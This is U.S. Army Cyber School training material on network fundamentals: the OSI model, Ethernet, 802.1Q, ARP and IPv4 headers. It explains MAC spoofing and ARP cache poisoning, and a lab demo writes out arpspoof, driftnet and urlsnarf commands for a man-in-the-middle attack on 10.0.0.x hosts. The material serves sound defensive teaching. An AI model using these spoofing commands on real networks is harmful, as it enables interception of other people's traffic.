Cyber

Section 1: Network Fundamentals


U.S. Army Cyber School

Version Date: 1 JAN 2022




Table of Contents


1. Outcomes

  • SKILL CCNE001: Networking Fundamentals ¹ ²

    • CCNE001.001 Understanding the OSI model and Networking ¹

  • SKILL CCNE002: Network Header Fields ¹ ²

    • CCNE002.001 Describe security implications present in header fields ²

  • SKILL CCNE003: Layer 2 Switching Technologies ¹ ²

    • CCNE003.001 Explain Layer 2 Switching and CAM table ¹

    • CCNE003.002 Explain CDP and LLDP ²

    • CCNE003.003 Understand VTP, STP, DTP ²

    • CCNE003.004 Discuss VLAN, 802.1q and 802.1ad ²

    • CCNE003.005 Identify and discuss security implications and mitigations for switching technologies ²

  • SKILL CCNE004: Layer 3 Routing Technologies ¹ ²

    • CCNE004.001 Explain Layer 3 Routing ¹

    • CCNE004.002 Discuss Routing Tables ¹

    • CCNE004.003 Understand HSRP and VRRP ¹ ²

    • CCNE004.004 Discuss static and dynamic routing ¹ ²

    • CCNE004.005 Understand BGP operation ¹ ²

    • CCNE004.006 Identify and discuss security implications and mitigations and mitigations for routing technologies ²

  • SKILL CCNE013: Passive Network Analysis ¹ ² NOT REFLECTED IN SLIDES

    • CCNE013.002 Describe the use of sniffing tools and methods ¹ ²

    • CCNE013.003 Perform real-time network traffic sniffing ²

    • CCNE013.004 Create filtering for items of interest when performing packet captures²

  • SKILL CCNE010: Data Transfer ¹ ²

    • CCNE010.001 Describe common methods for transferring data ¹ ²

    • CCNE010.003 Discuss native OS methods used for data transfer ¹ ²


Day 1 TIME

Facilitation: Networking Fundamentals

30 minutes

Facilitation: Network Header Fields (Layer 1 and 2) w/demo

15 minutes

Break

15 minutes

Facilitation: Network Header Fields (Layer 1 and 2) w/demo

45 Minutes

Break

15 minutes

Activity: Scapy for ARP

60 Minutes

Lunch

90 minutes

Facilitation: Common Protocol Headers (layer 3) w/demo

45 minutes

Break

15 minutes

Facilitation: Common Protocol Headers (layer 3) w/demo

45 minutes

Break

15 minutes

Activity: Scapy for ICMPv6

45 Minutes

Break

15 minutes

Activity: Scapy for ICMPv6

30 Minutes

Day 2 TIME

Facilitation: Common Protocol Headers (Layer 4 to 7) w/demo

45 minutes

Break

15 minutes

Facilitation: Common Protocol Headers (Layer 4 to 7) w/demo

45 minutes

Break

15 minutes

Wireshark Demo

30 minutes

TCPDump Demo

30 minutes

Lunch

90 minutes

Facilitation: Berkley Packet Filtering

45 minutes

Break

15 minutes

BPF Activity

45 minutes

Break

15 minutes

Facilitation: Layer 2 Switching Technologies

45 minutes

Break

15 minutes

Facilitation: Layer 3 Routing Technologies

30 minutes

Section Totals:

Section 1 Allotted days

2.0 Days

Section 1 Allotted Break Time (includes lunch):

330 minutes

Section 1 Activity Timeline Total:

180 minutes

Section 1 Facilitation and Demo Timeline Total:

450 minutes

Section 1 Timeline Total:

960 minutes



2. Basic Fundamentals



2.1 Mathematical Operations in Networking


There must be an understanding of fundamental number conversions and math that occurs in networking before moving on to more advanced topics involving headers.

  • Binary
    Binary, as suggested by the prefix "bi", can exist in only two states "on" or "off" which is logically represented as "true" or "false" and mathematically a "1" or "0". This is fundamentally how every computer component relays information. The unambiguous nature of binary is especially advantageous in networking since transmission can cause signals to become polluted with noise.


  • Representation of binary information : Bits=1, Nibbles=4, Bytes=8, etc.
    The bit is a binary representation of the smallest set of information in a computer. A collection of these bits must be used to store large amounts of information. The most common groupings and associated terms are listed below:


Bits_Nibbles_Bytes Comparison Image
Figure 1. Comparison of Common Binary Data Groupings


Binary Information Representation Image
Figure 2. Representation of Binary Information Common Terms


2.2 Base(N) Formats


Common Formats

  • Base 2 - Lowest level format and is the base language used by computer systems. Uses a series of "0" and "1" in groupings of 8-bits or 1 byte.

    • 01000010 01100001 01110011 01100101 00100000 00110010

  • Base 10 - Basis for the numbering system used by humans.

    • 66 97 115 101 32 49 48

  • Base 16 - Used by computers and humans to express larger decimal numbers or long streams of binary into more manageable groupings.

    • 42 61 73 65 20 31 36

  • Base 64 - Like HEX, it allows groupings up to 6-bits of binary (0-63 decimal). Characters used are (A-Z), (a-z), (0-9), and (+, /). That is (26) + (26) + (10) + (2) respectively. In order to be compatible with binary, it uses 4 groupings of 6-bits (24 total bits) so that it will equate to 3 bytes of binary ( 24 bits). For data not consuming the full 24-bits, it will use "=" signs for each 6 unused bits at the end as padding.

    • QmFzZSA2NA==


2.3 Binary Conversion


  • Number System and Conversions
    Working with binary can be cumbersome as numbers increase. Additionally, since computers and people "speak" different "number languages" it becomes necessary to do number conversions and understanding how to convert between these different number systems becomes beneficial. Instead of working with each individual bit, they can be grouped together and represented with a single digit in an alternate number system.


  • Binary (Base 2)
    Used internally by nearly all computers, is base 2. The two digits are "0" and "1", expressed from switches displaying OFF and ON respectively. Depending on its place value (as it moves right to left) it will have an incremental value of the powers of 2. (i.e. 1, 2, 4, 8, 16, etc.).


  • Decimal (Base 10)
    The most used system of numbers in the world, is used in arithmetic. Its ten digits are "0–9". Like binary it’s place value will increment by the powers of 10 as it moves from right to left.


  • Hexadecimal (Base 16)
    Often used in computing as a more compact representation of binary (1 hex digit per 4 bits). The sixteen digits are "0–9" followed by "A–F" or "a–f". It’s place values are 1, 2, 4, or 8 as it moves from left to right. The combination of these 4 bits will give you the values of the HEX digits.


  • Tetrasexagesimal (Base 64)
    This system is conveniently coded into ASCII by using the 26 letters of the Latin alphabet in both upper and lower case (52 total) plus 10 numerals (62 total) and then adding two special characters


Binary/Dec/Hex Chart Image
Figure 3. Binary, Decimal, and Hex Comparison Table



2.4 Message Formatting Method

Message Formatting Method and Terminology

  • The structure that is used for sending information over a network is referred to in the most basic sense as a message. This message varies greatly between different protocols and technologies. Though formatting of particular messages are dependent on the technology or protocol being used, they utilize a very similar formatting method consisting of a header, data, and footer.

    • Header - The header contains information related to control and communication processes between different protocol elements for different devices. This typically consists of information such as the source and destination address, clock information for transmission synchronization, and alert signals to indicate a packet is being transmitted.

    • Data - This is the actual data being transmitted which contains the payload. This payload may include another higher level message that consists of the same elements. For example, the data may contain information used to setup a logical connection before data is sent.

    • Footer - Commonly referred to as the trailer. The contents vary between communication methods or protocols. Usually the cyclical redundancy check (CRC) error-checking component is placed here. This is not always required for each protocol, but is especially important at the data-link layer.

Message Format Image
Figure 4. Message Format


  • It is important to understand that the data of any particular message sent in networking may contain higher-level information consisting of a header, data, and footer related to upper layer protocols. This will occur multiple times as data is passed down or up a protocol stack and is known as encapsulation or decapsulation.


  • The actual data transmission is vertical, however each layer is programmed as if the transmission is horizontal. This is possible with the use of protocols and interfaces.



Protocols and Interfaces

  • Protocols - Protocols refer to communications occurring at the same layer within the OSI model (horizontal). Protocols allow communication to take place logically at layer 4 on two separate devices as if they were directly connected at layer 4.

  • Interfaces - Interfaces refer to information moving between different layers in the OSI model (vertical) on the same device. In order for protocols to communicate effectively they must pass information up and down the stack.


Encapsulation and Decapsulation

  • The communication between every layer other than the Physical layer is logical in nature. Therefore in order to pass information between protocol layers a protocol data unit (PDU) must be used. Each PDU for each protocol layer has specifications for the features or requirements at it’s layer. The PDU is passed down to a lower layer for transmission, the next lower layer is providing the service of handling the previous layer’s PDU. This is why the previous layer’s PDU is now referred to as an service data unit (SDU)


Bits_Nibbles_Bytes Comparison Image
Figure 5. PDU/SDU Representation


  • The passing of information among the layers through this process may seem complex due to the formatting that must take place multiple times with PDU assembly and disassembly. However, this is necessary in providing modularity for network communication to take place.


2.5 OSI Model


  • Here we will discuss the layers of the OSI model starting from the application and down to the physical using a web request as an example.

OSI Model
Figure 6. OSI_Model


  • Web Request Example

    1. Application Layer: A user requests their browser to download a file from a web site. The HTTP protocol handler at this layer recognizes the secure request for a file on the web server and passes the request to the TLS Library.

    2. Session and Presentation Layer: The TLS library needs to create a secure channel for communication which requires the establishment of a connection with the destination. It passes a connection request to TCP.

    3. Transport Layer: The TCP handler receives the connection requests and creates a segment with the SYN flag (first part of the three-way handshake) set to the distant end server. The upper layer data is encapsulated with a TCP header and the segment is passed down to IP at the network layer.

    4. Network Layer: The network layer receives the segment and creates a packet by encapsulating the TCP header and data payload in an IP header. The correct IP information is added to the header for the destination IP address. The packet is then passed down to the Data-Link layer.

    5. Data-Link Layer: The data-link layer creates a frame encapsulating the data payload, TCP header, and IP header. The destination MAC address of the router is added to send the frame to it’s local destination. In addition to a header a trailer/footer is added containing a checksum and padding if needed to aid in frame synchronization. This is then passed to the physical layer.

    6. Physical Layer: The physical layer takes the binary data and injects it onto the physical media for which transmission is taking place (wireless or wired)



Importance of the OSI Model


  • The OSI model describes networking functions as a set of layered, modular components, each responsible for particular functions. The model is theoretical in nature as certain networking protocols don’t always fall nicely within a specific layer. It merely provides a framework for breaking down complex networking components in a way that can be more easily understood. Without the model’s structure to help frame the conversation related to protocol interaction and other functions, discussion of networking topics would be nearly impossible.



Table 1. The OSI Model
OSI Layer PDU Common Protocols

7 - Application

Data

DNS, HTTP, TELNET

6 - Presentation

Data

SSL, TLS, JPEG, GIF

5 - Session

Data

NetBIOS, PPTP, RPC, NFS

4 - Transport

Segment/Datagram

TCP, UDP

3 - Network

Packet

IP, ICMP, IGMP

2 - Data Link

Frames

PPP, ATM, 802.2/3 Ethernet, Frame Relay

1 - Physical

Bits

Bluetooth, USB, 802.11 (Wi-Fi), DSL, 1000Base-T



Internet Standards Organizations

Other than the OSI or TCP/IP models, it’s also important to understand the organizations that have been developing Internet and Networking Standards.

Organization Website What they are known for:

IETF

https://www.ietf.org/standards/

Mostly known for developing and publishing "white paper" standards known as Request for Comment (RFC).

Some notable ones are:
* IPv4 (791)
* IPv6 (2460)
* TCP (793)
* UDP (768)
* HTTP 1.1 (2616)
* List of other from Wikipedia

IANA

https://www.iana.org/

Controls all internet numbers such as:
* MAC OUI numbers
* Ethertypes
* IPv4 and IPv6 addresses
* IPv4 and IPv6 Multi-cast addresses
* Protocol Numbers
* Port Numbers
* 16/32-bit AS Numbers
* Domain Names (Root)
* ARP Operation Codes

IEEE

https://www.ieee.org/

https://en.wikipedia.org/wiki/Institute_of_Electrical_and_Electronics_Engineers

https://en.wikipedia.org/wiki/IEEE_Standards_Association

Most notably they developed standards for Local Area Networks (802 series) such as:

* 802.1 - LAN and WAN bridging and security
* 802.2 - LLC sub-layer
* 802.3 - Ethernet (CSMA/CD)
* 802.11 - Wireless LAN
* 802.15 - Wireless PAN

(End of Basics Review)

3. Physical Layer (OSI Layer 1)

Discuss importance of the physical layer.

Physical Layer

The physical layer is the lowest layer of the OSI model, it is where data is physically sent across the network as ones and zeros. Additionally, voltage levels, data rates, maximum transmission distance, and physical connections are defined at the physical layer. The devices that exist at this layer do not have knowledge of the contents of messages being sent across, they simply take the input bits and re-transmit them as output bits.


3.1 Physical Layer Responsibilities

The physical layer is responsible for providing the following:

  • Hardware Specifications

    • details of cables, connectors, NIC’s and other hardware.

  • Encoding and Signaling

    • transforms data from bits to electrical or analogue signals that can be sent over a network

  • Data Transmission and Reception

  • Physical Network Design

    • LAN and WAN topologies.

Refer to the previous web request conversation and discuss what is being performed at the physical layer at the receiving end. The data is received over the physical media at the destination device NIC. The device performs it’s signal conversion to format the data into bits that will be read by the data-link layer.


Discuss importance of data link layer and common data link protocols to include PPP, HDLC, Frame-Relay, Wireless, Ethernet, etc. Focus will be on Ethernet due to its prevalence.


Data-Link Layer The data link layer is used when two hosts need to communicate across a common form of physical medium (fiber, copper, wireless, etc.). Each physical medium has link-layer specifications for how this data is handled and transmitted. Therefore, rules must be established for the successful sending and receiving of data over the physical link. A standardized set of guidelines are needed to address requirements such as:

  • Addressing Schemes for LAN (physical addressing)

    • Used to differentiate between individual devices that share the same physical medium. Commonly MAC addressing.

  • Error Notification

    • Provides error notification that alert protocols in the upper layers of errors that occur at the physical link. An example is loss of clocking signal between serial connections or signal loss for a wireless connection.

  • Flow Control

    • Allows receiving devices on a link to detect congestion and notify neighboring devices so upper layer protocols can adjust the flow of traffic to prevent overflowing of buffers and frame drops.

  • Frame Sequencing

    • Frame sequencing capabilities allow frames transmitted out of sequence to be re-ordered at the receiver. The integrity can be checked utilizing the frame check sequence field of the layer 2 header.


Data link layer is unique because it has the function to communicate in "logical" and "physical". To accommodate this the functionality of this layer is divided into two logical sub-layers. An upper sub-layer, LLC, to interact with the network layer above and a lower sub-layer, MAC, to interact with the physical layer.

  • MAC (Media Access Control)

    • Act as a sublayer governing protocol access to the physical medium, physical addressing, and acts as an interface between the LLC and physical layer. Most of the frame construction happens at this layer.

  • LLC (Logical Link Control)

    • Manages communication between devices over a single link of the network that includes error checking and data flow. This layer provides the Ethertype to the MAC sublayer in the frame construction to identify the encapsulated protocol.


Discuss importance of data link layer and common data link protocols to include PPP, HDLC, Frame-Relay, Wireless, Ethernet, etc. Focus will be on Ethernet due to its prevalence.* *C

  • IEEE 802.3 Ethernet
    Most common protocol used at this layer, it was originally designed to run over coaxial cables but has evolved to use twisted pair and fiber. This link layer protocol describes how networked devices format data for transmission to other network devices within the same segment.

  • IEEE 802.1q VLAN Tagging
    This protocol segregates traffic within a network by keeping traffic from different networks separated when traversing shared links. This is known as VLAN tagging, which limits broadcast network traffic and provides security benefits.

  • ARP
    Defined in RFC826, this protocol performs the translation of IP addresses to MAC addresses, or layer 3 to layer 2 addresses.

  • HDLC
    This protocol is used to connect point to point serial devices to each other.

  • PPP
    This protocol is documented in RFC1661. It is based on HDLC and therefore extremely similar. It works well to connect point to point leased lines and dial-up networking features. +MAC spoofing is a technique for changing a factory-assigned Media Access Control (MAC) address of a network interface on a networked device. The MAC address that is hard-coded on a network interface controller (NIC) cannot be changed. However, many drivers allow the MAC address to be changed. Additionally, there are tools which can make an operating system believe that the NIC has the MAC address of a user’s choosing. The process of masking a MAC address is known as MAC spoofing. Essentially, MAC spoofing entails changing a computer’s identity, for any reason, and it is relatively easy.

  • Frame-Relay
    Frame Relay creates a private network through an ISP’s network. This is done via a Permanent Virtual Circuit.

  • IEEE 802.11 a, b, g, n, and ac Wireless
    Wireless equivalent of the 802.3 standards for Ethernet.


4.2 Ethernet Header

Ethernet II Header
Figure 7. Common Ethernet Type II Frame


Ethernet Frame Preamble Image
Figure 8. Ethernet Frame with preamble


Discuss importance of data link layer and common data link protocols to include PPP, HDLC, Frame-Relay, Wireless, Ethernet, etc. Focus will be on Ethernet due to its prevalence.

Discuss Ethernet frame construction (This should include an untagged frame and a tagged frame)

  • Specification Information:
    Defined by IEEE 802.3 standard, major participants in the development of the commonly used Ethernet II frame include XEC, Intel, and Xerox.

  • Structure:

    • Preamble (7 bytes)
      Consists of alternating 1’s and 0’s to allow network synchronization with receiver clocks. Ethernet is self-clocked, the clock is extracted from the signal. This is stripped off at the NIC and not visible by packet analyzer software.

    • SFD (Start Frame Delimiter) (1 byte field)
      Marks the end of the preamble, and beginning of the Ethernet frame. This is stripped off at the NIC and not visible by packet analyzer software.

    • MAC Header (12 byte field)

      • Initial 6 bytes (48 bits) contain the Destination MAC address

      • Next 6 bytes (48 bits) contain the Source MAC Address

      • It is worth to note that this pretty much the only time that the destination address comes before the source. Most every other header we will deal with the source address will come first.

    • Ethertype (2 byte field)
      Used to indicate the next protocol encapsulated in the frame.This is provided by the LLC sub-layer.

      • Common Ethertypes controlled by IANA.org:

        • 0x0800 - IPv4

        • 0x0806 - ARP

        • 0x86DD - IPv6

        • 0x8100 - VLAN Tagging 802.1q

    • Data / Payload (46-1500 byte field)
      Consists of the encapsulated upper layer headers and data payload which may be 46-1500 bytes. The minimum 46 bytes is determined because the smalled "legal" ethernet frame size of 64 bytes. So 46 bytes of data with the minimum of 18 bytes of Frame header equates to 64 bytes. The maximum data bytes is determined by the MTU for the network segment. Ethernet by default has a max MTU of 1500 bytes. This MTU is the amount of encapsulated data. This typically is the size of the IP packet. The Frame headers is not calculated in this size. So the frame size could be upwards of 1518 bytes in total when the 18 byte header is added. Its worth to point out that this 1500 bytes is of total encapsulated information and not all of it is actual user data. This 1500 includes the 20 byte IPv4 header and 20 byte TCP header. If there are any other headers included like IPSEC or IPv4 or TCP options, then this would mean that even less user data can be encapsulated.

    • FCS/CRC (Frame Check Sequence / Cyclical Redundancy Check) (4 byte field)
      Mathematical formula calculated on the entire frame. This calculation is appended in the FCS field so that the receiver can determine if the contents of the frame were corrupted in transit. This is stripped off at the NIC and not visible by packet analyzer software.


MAC spoofing

A malicious actor can use this to "pretend" to be a legitimate user or networking device. This is done by using drivers or software tools to alter the vendor assigned MAC address. An attacker can either mask his MAC address or pretend to have the MAC address of a legitimate device on the network.




4.3 802.1Q Header

802.1Q Frame
Figure 9. 802.1Q VLAN Tagged Frame


802.1Q is used to add a "tag" to identify to the receiving switch/router as to what VLAN the frame is being sent from. This tag is an additional 4 bytes of data that is appended between the Source MAC address and Ethertype field. This in essence increases the size of the frame header from its original 18 bytes to 22 bytes. The Ethertype field is "shoved over" from byte offset [12] to byte offset [16]. This tag is only applied across Trunk links. The switch/router is responsible to add this 4-byte tag when sending over any trunk links and to remove the tag when needing to send over an Access port. For example, prior to sending to a PC or printer.

  • Structure:

    • MAC Header (12 byte field)

      • Initial 6 bytes contain the Destination MAC address

      • Next 6 bytes contain the Source MAC Address

    • VLAN Tag (4 byte field)

      • Tag Protocol ID (2 byte field)
        Initial 2 bytes contain the new effective Ethertype field of 0x8100 indicating tagging

      • Tag Control Information (2 byte field)

        • Priority Code Point (3 bits)

        • Drop Eligible Indicator (1 bit)

      • VLAN ID (12 bit field)

    • Ethertype (2 byte field)
      Used to indicate the next protocol encapsulated in the frame.

    • Data / Payload (46-1500 byte field)
      Consists of the encapsulated upper layer headers and data payload which may be 46-1500 bytes

    • FCS/CRC (Frame Check Sequence / Cyclical Redundancy Check) (4 byte field)
      A new calculation is conducted to accommodate the addition of the new tag information. This calculation is done by the switch or router that added the tag. This also will be stripped off by the receiving NIC and will not be viable by the network analyzer.




4.4 ARP Header

Ethernet Frame Preamble Image


Describe address resolution protocol (ARP) and why it is important to Layer 2/3 (Show an ARP table on a host. Discuss when ARP is used for forwarding traffic, versus when traffic is sent to a default gateway).

The Address Resolution Protocol (ARP) is a Layer 2 protocol of the OSI model. It is used for discovering the Layer 2 or data link layer address (MAC address or even DLCI (Data Link Connection Identifier for a Frame Relay virtual circuit)), associated with a given Layer 3 or network layer address such as an IPv4 address. This mapping is critical in the operation of IPv4. ARP was defined in 1982 by RFC 826 which is Internet Standard STD 37. It has a wide range of various Operation Codes (op) to determine what type of ARP is being utilized. These codes are provided by IANA.

In Internet Protocol Version 6 (IPv6) networks, the functionality of ARP is provided by the Neighbor Discovery Protocol (NDP) and ARP is not used.

ARP - To resolve the L2 (MAC) address when only the L3 (IPv4) address is known.

RARP - To resolve the L3 (IPv4) address when only the L2 (MAC) is known. (This protocol has been deprecated since the widespread use of protocols like BOOTP and DHCP.)

Proxy ARP - A device (router) answers the ARP queries for IP address that is on a different network. The ARP proxy see the ARP request and determines that the target Network address is not on the local network segment and is aware of how to reach the destination network. The proxy will offer its own MAC address in response to the request. Typically this device is the network gateway and is responsible to forward traffic for other networks.

ARP Cache - is a collection of Layer 2 to Layer 3 address mappings discovered utilizing the ARP request/response process. When a host needs to send a packet both the L2 and L3 addresses are needed. The host will look in this table to determine if it already knows both the L2 and L3 addresses. If the target is not in the table then a ARP request is initiated. The ARP cache can be populated statically but mostly its done dynamically. This cache can be exploited by attackers with the aim to poison the cache with incorrect information to either perform a DoS or MitM.

Demo the arp cache of a linux host. arp -a

  • Structure:

    • Hardware type (HTYPE) This field specifies the network link protocol type. Example: Ethernet is 1.

    • Protocol type (PTYPE) This field specifies the internetwork protocol for which the ARP request is intended. For IPv4, this has the value 0x0800. The permitted PTYPE values share a numbering space with those for EtherType.

    • Hardware length (HLEN) Length (in octets) of a hardware address. Ethernet addresses size is 6.

    • Protocol length (PLEN) Length (in octets) of addresses used in the upper layer protocol. (The upper layer protocol specified in PTYPE.) IPv4 address size is 4.

    • Operation Specifies the operation that the sender is performing: 1 for request, 2 for reply.

    • Sender hardware address (SHA) Media address of the sender. In an ARP request this field is used to indicate the address of the host sending the request. In an ARP reply this field is used to indicate the address of the host that the request was looking for. (Not necessarily address of the host replying as in the case of virtual media.) Switches do not pay attention to this field, particularly in learning MAC addresses. The ARP PDU is encapsulated in Ethernet frame, and that is why Layer 2 devices examine it.

    • Sender protocol address (SPA) Internetwork address (usually IPv4 Address) of the sender

    • Target hardware address (THA) Media address of the intended receiver. In an ARP request this field is ignored. In an ARP reply this field is used to indicate the address of the host that originated the ARP request.

    • Target protocol address (TPA) Internetwork address (usually IPv4 Address) of the intended receiver.


Demo ARP with wireshark. ARP storm PCAP from wiki.wireshark.org


Address Resolution Protocol (ARP) attack

When ARP was developed security was not as much of an issue. Over time it was discovered that many protocols could be used in un-intended ways. Typically a host will broadcast an ARP request over the network and expects only the intended host to respond. Gratuitous ARP on the other hand is another method that a host can announce itself to the network. All other hosts believe the message and will add this entry into their ARP cache. These are the legitimate uses of ARP but malicious actors can use the open, unencrypted, and unverified nature of the protocol to their own ends.

An attacker can broadcast a gratuitous ARP, announcing itself as the networks default gateway. It will use the legitimate default gateway’s IP address but will use it’s own MAC address. All hosts on the network will assume this information to be true and update their ARP caches. This in essence will poison everyone’s ARP cache. All hosts on the network will now send all traffic to other networks to the attackers computer. The Attacker will forward all traffic to the legitimate gateway but now the attacker is included in the hosts communication.

This process creates a Layer 2 Man in the Middle.


Proxy ARP and Security Concerns:

Typically a PC will issue an ARP request to get the unknown MAC address of a device when its IP address is known. If the device is on the same network then that device will respond with ARP Reply. If the device happens to be on a different network, the router will respond with its own MAC address. The router responds because it will see that the destination IP address is on a different network and it knows how to get there from its routing tables. The router will resond to the ARP request with its own MAC to tell the host to send all the communication to itself to get to the remote destination. The host will update its ARP cache to reflect the router (default gateway) to be used to reach remote destinations. This is called a Proxy ARP.

An attacker can intercept ARP requests for a gateway and respond with its own MAC address resulting in a Man in the Middle attack.


Get more information in RFC 826, 5227, 5494

DEMO Use Wireshark to demo layer 2. Show the Ethernet II and ARP header breakdown.



DEMO: Using ARPSPOOF

ssh -p 25 root@10.50.21.0 -X terminator

Need to enable ip forwarding for ipv4 to have Bob act as a router.

root@bob-host:~# echo 1 > /proc/sys/net/ipv4/ip_forward
   or
root@bob-host:~# sysctl -w net.ipv4.ip_forward=1

Tools are already installed but just in case:

apt-get install dsniff         # This will install arpspoof
apt-get install driftnet       # Driftnet will capture images over the wire

Syntax:

arpspoof -i (eth0) -t (target to send spoof to) (address you are spoofing)  +

On Bob you will need 5 windows:

  • Windows 1 and 2 will perform the attack:

    • Bob tell’s Mike (10.0.0.103) that he is James (10.0.0.104):

      (Window 1) arpspoof -i eth0 -t 10.0.0.103 10.0.0.104
    • Bob tell’s James (10.0.0.104) that he is Mike (10.0.0.103):

      (Window 2) arpspoof -i eth0 -t 10.0.0.104 10.0.0.103
  • Window 3 will capture any images. This is not required but is used for "proof-of-concept".

    (Window 3) driftnet -i eth0 +
  • Window 4 will run Urlsnarf which will capture URLs over the wire. This is not required but is used for "proof-of-concept".

    (Window 4) urlsnarf -i eth0
  • Window 5 will SSH to Mike (10.0.0.103). Mike will request the files from James (10.0.0.104) and these will be captured by Bob.

    (Window 5) ssh mike@10.0.0.103
    mike@mike-host:~$ curl http://10.0.0.104
    mike@mike-host:~$ curl http://10.0.0.104/bat.jpg
    mike@mike-host:~$ curl http://10.0.0.104/hint.png
    mike@mike-host:~$ curl ftp://10.0.0.104
    mike@mike-host:~$ curl ftp://10.0.0.104/flag.png



SCAPY:

  • Definition by Phillipe Biondi -

    • Scapy is a packet manipulation tool created by Philippe Biondi

    • It can manipulate any layer of the TCP/IP stack, including application data.

    • Scapy packages can imported into python for complex tasks with variables.

    • It also reinforces basic TCP/IP concepts as Scapy syntax logically follows the protocol layers.


ACTIVITY: Packet Manipulation - ARP




5. Network Layer (OSI Layer 3)


ICMP Header


How does the IP Header field differ from the Ethernet field? Is anything ever re-written? If so, what and why?

  • Some fields in the IP header can be rewritten, such as the type of service, however the source and destination IP addresses will always stay the same. In the Ethernet header, the source and destination addresses will be re-written along every hop (movement from one device to the next). This is because the layer 2 information must reflect the NIC that the frame leaves and the NIC that the frame will be received by for those devices to process the traffic.

What are the most common network layer protocols?

  • IPv4, IPv6 and ICMP all operate at the network layer, layer 3. ICMP rides over IP protocols, but it is still technically a network layer protocol. Many, but not all, routing protocols also operate at the network layer, riding over IP in the same way ICMP does.


Network Layer

Internetworking was developed because LANs needed the ability to communicate with one another. ARPANet was the first network created to address this need in the 1960’s, this has evolved into the Internet Protocol (IP). The network layer of the OSI model is where this layer of internetworking is discussed and it’s parameters are defined. The protocol data unit at this layer is considered a packet and is the last structure generated before the data is encapsulated into a frame at the data-link layer. There are two different versions of IP, version 4 and version 6. The network layer is an extremely important layer in the OSI model that facilitates network to network communications and provides the following:

  • Addressing Schemes for Network (Logical Addressing)

    • Each device on the network has a logical addresses associated with it. This address is independent of the hardware device and must be unique in an internetwork.

  • Routing

    • The moving of data across a series of interconnected networks is the job of devices and software that exist at this layer. The network layer must handle incoming packets from various sources, determine their final destination, and send them to the appropriate interface and forward devices to be processed and routed once again.

  • Encapsulation

    • Encapsulation of messages received from higher layers must be performed to be passed on to the data-link layer.

  • IP Fragmentation and Reassembly

    • Due to constraints on bandwidth and other limiting factors, the network layer must be able to fragment packets that are too large and re-assemble the data in order at the destination device.

  • Error Handling and Diagnostics

    • The network layer uses special helper protocols like ICMP and ARP that allow logically connected devices to exchange information about the status of the network or devices themselves.


Internet Protocol Versions

The network layer deals in two version of IP and ICMP, version 4 and version 6.

  • IPv4

    • Was the first working network layer protocol which has dominated the networking world since 1970s. At the time it was that 4.3 billion addresses would never be reached. In 1992 we started seeing the shortages take place and had to start developing methods of extending IPv4 until a permanent solution could be found. This is where and why subnetting, private ip addressing, and Network Address Translation protocol where developed and implemented.

  • IPv6

    • In 2011 IPv6 was released to use world wide. IPv6 was released to eventually replace IPv4 because of IPv4’s lack of address space. Along with IPv6’s release the packet design was simplified from the IPv4 15sections header IPv6 holds only 8 section with less wasted fields.


Internet Protocol Addressing

  • IPv4

    • As stated previously IPv4 supports approximately 4.3 billion devises with a 32 bit ip scheme. It pairs with a 32 bit subnet mask to identify the Network and the Host portions of the IP address. Because of the segmentation of networks and the booming businesses using the Internet of Things (IoT) the address space has quickly run out. Subnetting, CIDR, RFC 1918 addresses and NAT were some of the developments that stayed off the eventual address depletion.

  • IPv6

    • Unlike its predecessor IPv6 supports 128 bits and will play host for up to 340 undecillian addresses. The first 64 bits are strictly reserved for the address prefix (network) and the latter 64 bits are reserved for Interface ID (host) The biggest obstacle in the transition from IPv4 to IPv6 is the communication between the two protocols. they are essentially two networks that run parallel to each other. The updates of course cost money and it is going to take a while for this change to occur. IPv6 adoption chart from Google


  • IP layer protocols to include IPv4, IPv6, ICMP, IGMP, and various Routing Protocols.

  • IPv6 features, addressing etc. (view and discuss: IPv6 adoption chart)
    EUI-64

Discuss ICMP protocol for both IPv4 and IPv6. Cover some common uses of ICMP to include ping, traceroute, Time exceeded, MSS adjust etc.

  • Cover ICMPv6 Neighbor Solicitation and how this replaces the functions of ARP for IPv6 Layer 2 - 3 resolution.



5.1 IPv4 Header

Describe IPv4 Packet Structures

IPv4 Header
Figure 10. IPv4 Header


Table 2. IPv4 Structure
Field Name Bit Range Length Description

Version

0-3

4 bits

Represents the IP version of the packet—Always 4 in IPv4.

Internet Header Length

4-7

4 bits

Represents the number of 32-bit (4-byte) words in the header. If IHL is greater than 5, it indicates that IP options are present.

Differentiated Service Code Point

8-13

6 bits

Indicates the type of traffic that is being passed (e.g., VoIP, Video).

Explicit Congestion Notification

14-15

2 bits

ECN is used to provide end-to-end traffic congestion notification; usually 0.

Total Length

16-31

16 bits

Represents the size of the entire IP packet in bytes, including the IP header. The minimum value would be 20 (0x0014, in hex). The max value is 65,535.

Identification

32-47

16 bits

Used to identify fragmented packets.

Flags

48-50

3 bits

The flags field is used for fragmentation of IP packets. The first bit (at offset 48) is reserved and must be zero. The second bit (at offset 49) is the Don’t-Fragment flag. The third bit (at offset 50) is the More-Fragments flag.

Fragment Offset

51-63

13 bits

Identifies the offset of a fragmented packet’s position, relative to the original packet, in multiples of 8 bytes.

Time To Live

64-71

8 bits

Determines the maximum number of times a packet may be forwarded. Each router that forwards a packet decrements the TTL by one.

Protocol

72-79

8 bits

Identifies the protocol header that is used in the encapsulated payload. Uses IP protocol codes, e.g., TCP = 6 (0x06).

Header Checksum

80-95

16 bits

The checksum is calculated from the IP header only. Can be used to indicate tampering or corruption.

Source Address

96-127

32 bits

Source IPv4 address of the packet.

Destination Address

128-159

32 bits

Destination IPv4 address of the packet.

Options

160-256

128 bits

Options present if IHL > 5. Can range from 6 to 15 WORDS


Demo IPv4 header from Wireshark. Capture any traffic to show header.


Options Field

The options field is seldom used. Typically, without options, the IHL will only equal 5. If options are used then the header length will be greater than 5 (i.e. from 6 to 15). This means that options field is present and must be considered.

Strict source routing option is where every hop of the traffic is pre-decided and is placed in the IPv4 Options field. Routers must use the information in this field over any routing table information they may have. This can potentially be used to forward packets around security devices such as firewalls and IPS.

Loose Source Routing option is a bit more flexible than strict source routing. It will include a list of various hops that the packet must traverse. But this does not specify each and every hop.

Both of these options can create security concerns and is recommended that routers block packets containing these options unless they are essential for the network operation.




5.2 Fragmentation Process


IPv4 Fragmentation
Figure 11. IPv4 Fragmentation


  • IP fragmentation breaks up a single IPv4 packet into multiple smaller packets. Every link in a network has a defined maximum transmission unit (MTU). Ethernet’s default MTU is 1500 bytes. An IP header is included in the 1500 byte MTU, but the 14-18 byte Ethernet header is not counted against the 1500 byte MTU. The Other protocols have different MTUs.

